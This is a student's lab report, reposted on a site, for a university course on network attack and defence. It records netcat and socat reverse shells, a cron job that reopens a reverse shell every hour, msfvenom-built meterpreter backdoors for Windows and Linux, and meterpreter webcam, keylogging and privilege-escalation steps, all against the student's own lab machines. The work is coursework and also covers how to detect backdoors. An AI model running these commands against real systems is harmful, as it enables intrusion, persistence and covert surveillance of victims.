20222304 2024-2025-1 《网络与系统攻防技术》实验二实验报告

news/2024/10/22 21:44:47

一、 实验内容
1.1 知识回顾
堆栈结构和堆栈变化
EIP:存储下一条指令;EBP:栈底指针;ESP:栈顶指针。
栈溢出的三种方法:修改栈中邻接变量;修改函数返回地址;代码植入。

shellcode构建
RET返回地址;NOP空(0X90);shellcode调用shell;
NSR模式;RNS模式;RS模式

缓冲区溢出的防范技术
源程序检查:静态检查、动态检查;数组边界检查;运行时拦截检查...
1.2回答问题
(1)例举你能想到的一个后门进入到你系统中的可能方式?
攻击者发送包含恶意附件的电子邮件,用户在不知情的情况下下载并执行该附件。这种方式可能会利用用户的信任情感,通过伪装成合法文件来隐藏其真实意图。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
win:1.注册表自启动
2.任务计划程序
3.服务
4.启动文件夹
Linux:1.cron作业
2.rc.local
3.systemd服务4.
4..bashrc或.profile
(3)Meterpreter有哪些给你映像深刻的功能?
1.文件系统访问
2.屏幕捕获
3.相机和麦克风控制
4.进程管理
(4)如何发现自己有系统有没有被安装后门?
1.监控网络流量:使用网络监控工具分析网络流量,查找异常或未知的连接,尤其是发送到不明IP地址的流量。
2.检查运行的进程:使用任务管理器或top/ps命令查看当前运行的进程,寻找可疑的或不熟悉的进程。
3.查看自启动项:在Windows中,检查任务管理器的“启动”选项卡和注册表中的自启动项。在Linux中,检查/etc/rc.local、systemd服务、cron作业等。
4.文件系统审计:检查文件系统的完整性
1.3 实验目标
(1)使用netcat获取主机操作Shell,cron启动某项任务(任务自定)
PS:cron是linux下用来周期性的执行某种任务或等待处理某些事件的一个守护进程
(2)使用socat获取主机操作Shell, 任务计划启动
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
二、实验过程
2.1:使用netcat获取主机操作Shell,cron启动某项任务
先关闭防火墙和杀毒软件,在windows主机上安装netcat。windows打开终端,ipconfig查看主机的IP地址。
如图所示:

     首先Windows主机win+r并输入cmd打开终端,并进入ncat所在的文件夹,开启监听。输入:ncat.exe -l -p 2304    #端口号2304

如图所示:

     接着在kali中通过ncat与win11主机建立反弹式连接。输入:nc 192.168.43.19 2304 -e /bin/sh    #IP是win11主机的,端口保持一致。

如图所示:
然后可以成功获取Linux主机的shell。
设置任务部分是通过修改crontabs/root文件来设置定时任务。需要再Linux系统下输入以下指令:crontab -e #执行文字编辑器来设定时程表,这里选择的是2:/usr/bin/vim.basic
如图所示:
回车后选择2,然后对其进行修改直接加入以下内容:30 * * * * /bin/netcat 192.168.43.19 2304 -e /bin/sh #IP地址是win主机的,在每小时的第30分钟启动任务。crontab -l #查看时程表
如图所示:
2.1.2:使用cron启动自定义任务
然后需要在Windows系统主机中刚刚获取的shell来进行操作。kali终端弹出提示,在Windows中无法对文件进行修改操作,于是就需要对kali中记录定时任务的文件本身入手,以root的权限打开。文件所在位置(/var/spool/cron目录)但是这时候打开crontabs文件夹发现其中并没有root文件,只有一个用户名为lyl20222304的文件,在看学长的博客得知需要在root模式下输入crontab -e,设定文字编辑器并修改时程表,即可自动生成root文件。
如图所示:
更改后结果:如图:
然后还需要通过Windows获取的shell继续操作,首先进入root模式,这时要注意输入密码的提示是在Linux下,然后通过echo命令直接对文件本身进行修改。
在虚拟机的终端输入crontab -e(执行文字编辑器来设定时程表)
在编辑器中最后一行添加* * * * * exch "20222304" >> /home/lyl.txt后,按:wq保存。在桌面上生成txt文件输出学号:
如图所示:


2.2使用socat获取主机操作Shell, 任务计划启动
(1)Windows主机中下载socat,cmd进入socat文件夹,输入命令:socat.exe tcp-listen:2304 exec:cmd.exe,pty,stderr(把cmd.exe绑定到端口2304,并把cmd.exe的stderr重定向到stdout)
如图所示:
(2)Linux虚拟机中进入root用户,输入命令:socat - tcp:192.168.43.19:2304
如图所示:
这样就成功调用主机shell了
(3)回到主机中拿出已经编好的代码,并且运行好之后,生成一个执行文件,复制执行文件的路径,回到主机中,按win+x后再按g打开计算机管理器看到该程序在运行,说明已经在Linux虚拟机的控制下每分钟执行上面的程序
如图所示:
2.3在Linux下使用MSF meterpreter生成可执行文件,利用ncat或socat传送到Windows主机并运行获取主机shell
(1)生成后门文件,在kali中输入ifconfig,获得虚拟机的IP地址:
如图所示:
继续输入以下命令:msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -f exe > 20222304.exe
如图所示:
(2)将后门文件传输至目标主机,主机进入ncat所在目录下。
如图所示:
虚拟机上输入指令:nc 172.16.210.245 2304 < 20222304.exe Win主机接收到后门文件20222304.exe。
如图所示:
(3)配置监听模块,回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置
如图所示:
接着输入exploit,使监听模块开始运行,并在Windows终端运行后门20222304.exe文件。在主机中运行植入的后门程序,输入ls查看Windows主机目录
如图所示:
2.4 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
(1)获取目标主机音频、截屏、摄像头、键盘记录
如图所示:
将利用MSF meterpreter生成获取目标主机摄像头的照片存到root用户路径中:
如图所示:
(2)提权。在exploit模块中继续输入
如图所示:
2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
在kali虚拟机的终端中输入:msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.43.69 LPORT=2304 -x /home/lyl20222304/pwn2 -f elf > 2304pwn
如图所示:
对生成的pwn20222307文件赋予权限,输入chmod a+x 2304pwn
输入指令msfconsole,输入以下代码,重现监听过程,打开另一个终端,运行2304pwn文件,回到上一个msfconsole那个shell中,输入ls查看虚拟机root用户下的所有文件:
如图所示:

3.问题及解决方案
!!!!!最重要的问题:由于软件冲突问题导致窗口无法显示(搞得我做实验很崩溃)
解决方案:经同学查资料得知解决方法

4.学习感悟、思考等
通过本次实验,我掌握了netcat,socat和meterpreter的使用方式,并且学会了如何在Windows和Linux下如何去设置后门程序,获取目标主机的shell访问权限等。让我对知识点的理解更加深刻。
并且让我对网络黑客的强大有了更深刻的体悟,认识到网络工具的强大,可以如此轻易的获取其他主机的权限,这让我认识到了不同于课本内容的知识体会,通过本次实验让我的网络安全意识得到极大的提高。
实验中也遇到了很多小问题,也有很多是由于自己的粗心大意导致在某些地方卡住很久,浪费大量时间,以后一定要更加仔细的学习,仔细认真。(除了那个窗口问题真的让我破防加红温,这次实验还算顺利)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/74820.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

maven的安装与使用

一、安装 下载地址:https://archive.apache.org/dist/maven/maven-3/3.5.2/binaries/ 二、配置环境变量 1、配置MAVEN_HOME2、配置path环境变量3、用cmd命令查看有没有配置成功 mvn -v4、修改settings.xml配置文件,配置本地仓库,添加阿里云镜像把下面代码添加到mirrors标签中…

例题2.10

例题2.10代码 Dict = {age: 18, score: [98, 97], name: zhang, sex: male} for item in Dict: print(item) print("----------") for item in Dict.items(): print(item) print("----------") for value in Dict.values(): print(value)

ctfshow-pwn-Test_your_nc(0-4)

pwn0 签到题,用ssh连接,输入密码,会出现一大堆动画,输入pwd,显示了当前路径,我们直接切到根目录,发现了ctfshow_flag这个文件,直接cat读取得到flag。pwn1 签到题,nc连接上直接出答案。pwn2 用nc连接上之后,看题目提示输入cat /ctfshow_flag,得到flag。pwn3 用nc连接…

如何实现聚水潭奇门销售数据与MySQL的高效对接

聚水潭奇门数据集成到MySQL的技术案例分享 在现代企业的数据管理中,如何高效、准确地实现不同系统之间的数据对接和集成是一个重要的课题。本文将聚焦于一个具体的系统对接案例:将聚水潭奇门平台上的销售出库单数据集成到MySQL数据库中的BI智选-销售出库表。 为了确保数据集成…

数据库脚本自动执行工具

第一款:Evolve 官网:https://evolve-db.netlify.app/requirements/ 仓库:https://github.com/lecaillon/Evolve 提供了三种使用方式:类库:可以引入到现有的项目中 nuget包:可以直接安装并在命令行中使用 cli:可以不依赖.net sdk直接运行细节命名要求:前缀:仅执行一次的…

[LNOI2014] LCA

[LNOI2014] LCA 乐子笑点解析:单log疯狂卡常才卡过那两双log做法。 全局平衡二叉树解法。 考虑差分,然后挂扫描线。\(dep_{LCA(x,y)}\)实际上就是将\(x\)到根的节点权值加1,然后求\(y\)到根的节点的权值和。 然后就是全局平衡二叉树的板子,标记永久化写就好了。 应该会抽时…

倍增st表

首先,因为士兵是环形的,所以先将其拆分为链,并且每个士兵的移动位子不会被包含,所以只需要对左端点进行排序就能得到一个递增的区间点击查看代码 void init() {cin >> n >> m;int i;for (i = 1; i <= n; ++i){w[i].i1 = i;cin >> w[i].l >> w[i…

前后端实现双Token无感刷新用户认证

前后端实现双Token无感刷新用户认证 本文记录了使用双Token机制实现用户认证的具体步骤,前端使用的Vue,后端使用SpringSecurity和JWT 双Token分别指的是AccessToken和RefreshToken AccessToken:每次请求需要携带AccessToken访问后端数据,有效期短,减少AccessToken泄露带来…